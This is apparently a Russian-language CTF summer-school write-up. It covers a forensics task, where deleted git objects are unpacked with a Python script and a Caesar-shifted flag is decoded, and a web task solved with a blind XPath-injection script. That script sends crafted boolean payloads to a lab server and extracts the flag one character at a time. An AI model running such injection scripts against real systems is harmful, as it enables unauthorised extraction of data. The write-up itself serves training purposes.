Летняя школа CTF
КапибарыОглавление
Неделя 1 (форензика)
Условие задачи:
Name: Forgetful
Info: Говорили же мне, пиши важную информацию на листочке… оставь его у компа…
Формат флага - letoctf{}
Файл
Решение:
Распаковав архив, видим, что в нем есть каталог с файлами системы контроля версий git и понимаем, что это подсказка. Флаг, скорее всего, будет спрятан где-то в промежуточных версиях.
Беглая проверка на наличие репозитория на github'е (.git/config url= https://github.com/CapLOBO/caesar.git) показала, что он либо "спрятан" настройками приватности, либо удален, значит надо работать напрямую с объектами. Для этой цели есть несколько хороших утилит:
Есть еще вариант работы руками, с использованием zlib-flate (очень хороший writeup на эту тему). Но мы решили по пути распаковки файлов на Питоне и поиска что-нибудь интересного внутри. Простенький скрипт для этой цели:
import zlib
import os
start = "c:\\Users\\CapybarasCTF\\Downloads\\caesar\\.git\\objects\\"
for root, dirs, files in os.walk(start):
for name in files:
print(root + "\\" + name)
with open(root + "\\" + name, "rb") as f:
try:
content = f.read()
print(zlib.decompress(content).decode())
except:
pass
И мы тут же нашли в файле 4c\70914dbcbf5f1122c6baf7e55d11c3677171b3 интересную запись:
FLAG = 'p0l_4i3_s35k_3et0u3i'
Организаторы предложили немного другой вариант:
git fsck --lost-found - для поиска удаленных коммитов
git reset --hard <хэш удалённого коммита> - для отката на него
Но он не читается, правда, у нас есть подсказка в названии нашего проекта caesar.zip. Да и весь код его кричит о том, что это шифр Цезаря. Только непонятно количество шагов для расшифровки. Можно скормить на перебор https://www.dcode.fr/caesar-cipher, а можно попробовать проанализировать код дальше.

После короткого анализа мы понимаем, что нам нужно найти step_entity или step в коде. Находится он достаточно быстро в последнем варианте файла main.py.
STEP = 17.
Запускаем дешифратор и получаем флаг
letoctf{y0u_4r3_b35t_3nc0d3r}
Неделя 2 (веб)
Задача
Найди путь к флагу и достань его из секретного документохранилища
Решение:
Перед нами очень простая форма, в которой не фильтруется ввод

В зависимости от введенных данных выводится либо "Ничего не найдено" либо "Данные переданы на модерацию". Это XPath injection.
На основании разницы в ответе нужно было получить
Пример скрипта от организаторов
import requests, string
flag = ""
l = 0
alphabet = string.ascii_letters + string.digits + "{}_()"
for i in range(30):
r = requests.post("http://185.255.132.89:8001/", data={'search': "' or string-length(text())=" + str(i) + " and 'a'='a"})
if "Данные" in r.text:
l = i
break
print("[+] Password length: " + str(l))
for i in range(1, l + 1):
for al in alphabet:
r = requests.post("http://185.255.132.89:8001/", data={'search': "' or substring(text(), " + str(i) + ",1)='" + al + "' and 'a'='a"})
if "Данные" in r.text:
flag += al
print("[+] Flag: " + flag)
break
Флаг: letoctf{XML_master_da_Way_XPAth_WaY}